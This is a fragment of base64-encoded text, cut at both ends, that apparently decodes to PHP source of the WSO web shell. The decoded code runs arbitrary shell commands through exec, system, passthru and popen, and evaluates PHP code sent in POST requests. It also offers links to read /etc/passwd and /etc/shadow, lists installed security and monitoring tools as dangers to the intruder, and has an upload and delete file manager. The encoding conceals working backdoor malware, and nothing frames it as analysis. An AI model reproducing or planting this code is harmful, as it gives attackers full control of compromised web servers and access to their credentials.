0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9saW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicNCiAgICAgICAuICc8dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7IiBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+JyAuICRtZW51IC4gJzwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJtYXJnaW46NSI+JzsNCn0NCg0KZnVuY3Rpb24gd3NvRm9vdGVyKCkgew0KCSRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nIzI1ZmYwMCc+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOw0KICAgIGVjaG8gIg0KPC9kaXY+DQo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsnPg0KCTx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4NCgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPg0KCTwvdHI+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPiI7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KDQpmdW5jdGlvbiB3c29FeCgkaW4pIHsNCgkkb3V0ID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwkb3V0KTsNCgkJJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJG91dCA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9DQoJcmV0dXJuICRvdXQ7DQp9DQpmdW5jdGlvbiB3c29WaWV3U2l6ZSgkcykgew0KCWlmKCRzID49IDEwNzM3NDE4MjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsNCgllbHNlaWYoJHMgPj0gMTA0ODU3NikNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsNCgllbHNlaWYoJHMgPj0gMTAyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsNCgllbHNlDQoJCXJldHVybiAkcyAuICcgQic7DQp9DQoNCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCn0NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQoJZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7DQoJCSRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KICAgIAkJJGZpbGVzW10gPSAkZmlsZW5hbWU7DQoJCXJldHVybiAkZmlsZXM7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB3c29XaGljaCgkcCkgew0KCSRwYXRoID0gd3NvRXgoJ3doaWNoICcgLiAkcCk7DQoJaWYoIWVtcHR5KCRwYXRoKSkNCgkJcmV0dXJuICRwYXRoOw0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsNCgl3c29IZWFkZXIoKTsNCgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglmdW5jdGlvbiB3c29TZWNQYXJhbSgkbiwgJHYpIHsNCgkJJHYgPSB0cmltKCR2KTsNCgkJaWYoJHYpIHsNCgkJCWVjaG8gJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOw0KCQkJaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpDQoJCQkJZWNobyAkdiAuICc8YnI+JzsNCgkJCWVsc2UNCgkJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU+JzsNCgkJfQ0KCX0NCgkNCgl3c29TZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpDQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7DQoJd3NvU2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOw0KCXdzb1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsNCgl3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsNCgl3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsNCgl3c29TZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7DQoJJHRlbXA9YXJyYXkoKTsNCglpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQ0KCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJNU1NRTCI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk9yYWNsZSI7DQoJd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7DQoJZWNobyAnPGJyPic7DQoJDQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsNCgkJd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQoJCXdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJd3NvU2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7DQoJCXdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCgkJaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgew0KICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7DQogICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOw0KCQkJZWNobyAnPGJyPic7DQoJCQkkdGVtcD1hcnJheSgpOw0KCQkJZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pDQoJCQkJaWYod3NvV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQoJCQl3c29TZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KCQkJJHRlbXA9YXJyYXkoKTsNCgkJCWZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQoJCQkJaWYod3NvV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQoJCQl3c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQkkdGVtcD1hcnJheSgpOw0KCQkJZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSANCgkJCQlpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCXdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KCQkJZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsNCgkJCXdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOw0KCQl3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJd3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLHdzb0V4KCduZXQgdXNlcicpKTsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoKTsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0OyANCgl9DQoJd3NvSGVhZGVyKCk7DQoJaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykpIHsNCgkJZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7DQoJCW9iX3N0YXJ0KCk7DQoJCXBocGluZm8oKTsNCgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsNCgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsNCgl9DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gZmFsc2U7DQogICAgZWNobyAnPGgxPkV4ZWN1dGluZyBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2coXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7DQoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KCX0NCgllY2hvICc8L3ByZT48L2Rpdj4nOw0KCXdzb0Zvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsNCgl3c29IZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCgkJCWNhc2UgJ3VwbG9hZEZpbGUnOg0KCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQ0KCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnbWtkaXInOg0KCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZGVsZXRlJzoNCgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsNCgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KCQkJCQl3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQ0KCQkJCQkJCWNvbnRpbnVlOw0KCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7DQoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpDQoJCQkJCQkJZGVsZXRlRGlyKCRpdGVtKTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsNCgkJCQkJfQ0KCQkJCQljbG9zZWRpcigkZGgpOw0KCQkJCQlAcm1kaXIoJHBhdGgpOw0KCQkJCX0NCgkJCQlpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkJaWYoaXNfZGlyKCRmKSkNCgkJCQkJCQlkZWxldGVEaXIoJGYpOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGYpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwYXN0ZSc6DQoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsNCgkJCQkJZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmK